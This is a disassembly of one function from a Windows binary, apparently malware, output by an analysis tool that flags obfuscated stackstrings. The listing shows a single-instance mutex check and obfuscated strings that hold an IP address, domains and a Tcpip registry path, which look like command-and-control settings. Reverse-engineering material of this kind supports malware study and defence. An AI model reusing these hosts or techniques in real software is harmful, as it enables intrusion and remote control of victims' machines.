Function at 0x401510
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416730
mov eax, dword fs:[0]
push eax
sub esp, 0x3c4
mov eax, dword [0x4211d0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x104
lea eax, [ebp - 0x2c4]
push eax
push 0
push eax
call fcn.0042b84c
lea ecx, [ebp - 0x2c4]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013f0
sub ecx, edx
lea edx, [ecx - 1]
test edx, edx
js 0x401432
cmp byte [ebp + edx - 0x2c4], 0x5c
je 0x401411
sub edx, 1
jns 0x401400
jmp 0x401432
inc edx
cmp edx, ecx
jg 0x401432
sub ecx, edx
lea eax, [ebp - 0x2c4]
inc ecx
add eax, edx
push ecx
push eax
lea eax, [ebp - 0x3c8]
push eax
call fcn.00405e50
add esp, 0xc
lea eax, [ebp - 0x3c8]
push eax
push 0
push 0
push eax
call fcn.00432de9
mov esi, eax
test esi, esi
je 0x40147d
push eax
call fcn.00431290
cmp eax, 0xb7
jne 0x40147d
push esi
call fcn.004314dc
xchg ebx, eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040368f
mov esp, ebp
pop ebp
ret 0x10
push 0x5d
lea eax, [ebp - 0x155]
mov byte [ebp - 0x3c9], 0
push 0
push eax
mov dword [ebp - 0x15c], 0x79636371
mov word [ebp - 0x158], 0x2f3a
mov byte [ebp - 0x156], 0x2f
call fcn.00406440
add esp, 0xc
lea edx, [ebp - 0x3c9]
lea ecx, [ebp - 0x15c]
call fcn.00401830
push 0x64
call dword [0x417050]
movaps xmm0, xmmword [0x41e960]
lea ecx, [ebp - 0x24]
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xb8], 0x72636c6e
movaps xmm0, xmmword [0x41e8f0]
movups xmmword [ebp - 0xe8], xmm0
mov dword [ebp - 0xb4], 0x627778
movaps xmm0, xmmword [0x41e940]
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0x80], 0x4220636e
movaps xmm0, xmmword [0x41e950]
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0x7c], 0x7263636e
movaps xmm0, xmmword [0x41e960]
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0x78], 0x627077
movaps xmm0, xmmword [0x41e8f0]
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x34], 0x312e3431
movaps xmm0, xmmword [0x41e940]
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x30], 0x312e3431
movaps xmm0, xmmword [str.121.40.197.155_195hf.95hhf.com:1uayvsZlaLubtHJwww.jxx000zuan.cGCTHKOFSAwqfcgcntrolSetServicesTcpipParameteocFrwmxfbLdaanSYSTEMCurrentCoDefaultConnectiothKwbrckgQiffsZFZALTJbyyluaJvwcEnabrxwRwcnawnc_BnccrwpbLxwwBxocfjanVrlaxbx]
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x2c], 0x312e3431
mov word [ebp - 0x28], 0x3431
mov byte [ebp - 0x26], 0
mov dword [ebp - 0x24], 0x6b707157
mov dword [ebp - 0x20], 0x626a6b59
mov dword [ebp - 0x1c], 0x4e516365
mov word [ebp - 0x18], 0x48
call fcn.00401fd0
mov edx, 9
lea ecx, [ebp - 0xf8]
call fcn.00402050
mov edx, 9
lea ecx, [ebp - 0xb0]
call fcn.00402050
push 0x41f8b4
lea eax, [ebp - 0x3d0]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x3d0], 0x5b
call fcn.004063c4
mov eax, 0x30
push 0x62
mov word [ebp - 0x1c0], ax
lea eax, [ebp - 0x1be]
push 0
push eax
call fcn.00406440
add esp, 0xc
xor ecx, ecx
mov al, byte [ebp + ecx - 0x3c8]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1c1], al
test al, al
jne 0x401605
xor edx, edx
nop dword [eax]
cmp byte [ebp + edx - 0x1c0], 0x2e
je 0x401643
lea eax, [ebp - 0x1c0]
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401634
sub eax, esi
cmp edx, eax
jbe 0x401620
jmp 0x40164b
mov byte [ebp + edx - 0x1c0], 0
movaps xmm0, xmmword [0x41e8c0]
lea ecx, [ebp - 0x74]
movups xmmword [ebp - 0x74], xmm0
mov edx, 0xe
mov dword [ebp - 0x54], 0x734a6862
movaps xmm0, xmmword [0x41e920]
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x50], 0x63776766
mov dword [ebp - 0x4c], 0x69465c62
mov word [ebp - 0x48], 0x62
call fcn.00402050
lea eax, [ebp - 0x2c4]
mov ecx, 0x41e660
push eax
lea eax, [ebp - 0x1c0]
push eax
lea edx, [ebp - 0x74]
call fcn.00402b80
add esp, 8
mov eax, 0x4016ad
ret